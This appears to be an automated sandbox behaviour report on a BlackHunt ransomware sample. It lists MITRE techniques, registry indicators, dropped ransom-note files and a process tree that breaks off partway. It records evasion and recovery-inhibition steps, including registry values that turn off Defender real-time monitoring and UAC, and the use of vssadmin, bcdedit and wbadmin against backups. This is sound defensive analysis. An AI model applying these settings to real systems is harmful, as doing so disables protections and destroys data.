51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791

Data Destruction

T1485

pid	Process
6124	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2224	bcdedit.exe
5964	bcdedit.exe

Renames multiple (788) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4056	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	Conhost.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\L:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\N:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\V:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\M:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\W:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\Y:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\U:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\I:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\Z:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\X:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\R:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\T:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\P:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\Q:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\A:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\G:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\J:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\E:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\B:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\O:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\S:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\K:	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\luac.luac	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\koreus.luac	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11cryptotoken.md	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\liveleak.luac	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\jpeg_fx.md	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\README.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\US_export_policy.jar	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\vlc.mo	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\icu_web.md	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunmscapi.jar	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\modules\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\http.luac	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dynalink.md	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveNoDrop32x32.gif	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\RestoreInitialize.mp2v	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_extensions.pak	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\Flash.mpp	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\bcel.md	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cy\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_HK.properties	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\LICENSE	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jre-1.8\release	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_100_percent.pak	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCalls.h	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.txt	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_Private.key	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4540	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6116	vssadmin.exe
6016	vssadmin.exe
5940	vssadmin.exe
888	vssadmin.exe
6020	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	Conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	Conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeRestorePrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeBackupPrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeTakeOwnershipPrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeAuditPrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeSecurityPrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeIncBasePriorityPrivilege	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Token: SeBackupPrivilege	5700	vssvc.exe
Token: SeRestorePrivilege	5700	vssvc.exe
Token: SeAuditPrivilege	5700	vssvc.exe
Token: SeBackupPrivilege	5056	wbengine.exe
Token: SeRestorePrivilege	5056	wbengine.exe
Token: SeSecurityPrivilege	5056	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 4144	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	89
PID 1432 wrote to memory of 4144	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	89
PID 1432 wrote to memory of 3412	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	91
PID 1432 wrote to memory of 3412	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	91
PID 1432 wrote to memory of 4364	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	93
PID 1432 wrote to memory of 4364	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	93
PID 1432 wrote to memory of 1912	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	95
PID 1432 wrote to memory of 1912	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	95
PID 1432 wrote to memory of 3108	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	97
PID 1432 wrote to memory of 3108	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	97
PID 1432 wrote to memory of 2600	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	99
PID 1432 wrote to memory of 2600	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	99
PID 1432 wrote to memory of 1744	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	101
PID 1432 wrote to memory of 1744	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	101
PID 1432 wrote to memory of 4992	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	102
PID 1432 wrote to memory of 4992	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	102
PID 1432 wrote to memory of 3152	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	105
PID 1432 wrote to memory of 3152	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	105
PID 1432 wrote to memory of 1484	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	108
PID 1432 wrote to memory of 1484	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	108
PID 1432 wrote to memory of 1632	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	107
PID 1432 wrote to memory of 1632	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	107
PID 1432 wrote to memory of 4112	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	109
PID 1432 wrote to memory of 4112	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	109
PID 1432 wrote to memory of 1176	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	113
PID 1432 wrote to memory of 1176	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	113
PID 1432 wrote to memory of 440	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	112
PID 1432 wrote to memory of 440	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	112
PID 1432 wrote to memory of 3128	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	111
PID 1432 wrote to memory of 3128	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	111
PID 1432 wrote to memory of 1108	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	122
PID 1432 wrote to memory of 1108	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	122
PID 1432 wrote to memory of 1288	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	119
PID 1432 wrote to memory of 1288	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	119
PID 1432 wrote to memory of 3508	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	118
PID 1432 wrote to memory of 3508	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	118
PID 1432 wrote to memory of 1020	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	128
PID 1432 wrote to memory of 1020	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	128
PID 1432 wrote to memory of 2144	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	127
PID 1432 wrote to memory of 2144	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	127
PID 1432 wrote to memory of 2276	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	125
PID 1432 wrote to memory of 2276	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	125
PID 1432 wrote to memory of 5104	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	132
PID 1432 wrote to memory of 5104	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	132
PID 1432 wrote to memory of 4884	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	133
PID 1432 wrote to memory of 4884	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	133
PID 1432 wrote to memory of 1156	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	135
PID 1432 wrote to memory of 1156	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	135
PID 1432 wrote to memory of 3316	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	150
PID 1432 wrote to memory of 3316	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	150
PID 1432 wrote to memory of 2556	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	148
PID 1432 wrote to memory of 2556	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	148
PID 1432 wrote to memory of 3824	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	137
PID 1432 wrote to memory of 3824	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	137
PID 1432 wrote to memory of 4028	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	146
PID 1432 wrote to memory of 4028	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	146
PID 1432 wrote to memory of 3136	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	138
PID 1432 wrote to memory of 3136	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	138
PID 1432 wrote to memory of 2028	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	139
PID 1432 wrote to memory of 2028	1432	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe	139
PID 4144 wrote to memory of 1888	4144	cmd.exe	177
PID 4144 wrote to memory of 1888	4144	cmd.exe	177
PID 3412 wrote to memory of 3112	3412	cmd.exe	167
PID 3412 wrote to memory of 3112	3412	cmd.exe	167

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe
"C:\Users\Admin\AppData\Local\Temp\51851a8e4d831199779c541f715dcb57463935bee59022671e86ddd234835791.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:1888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:4364
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
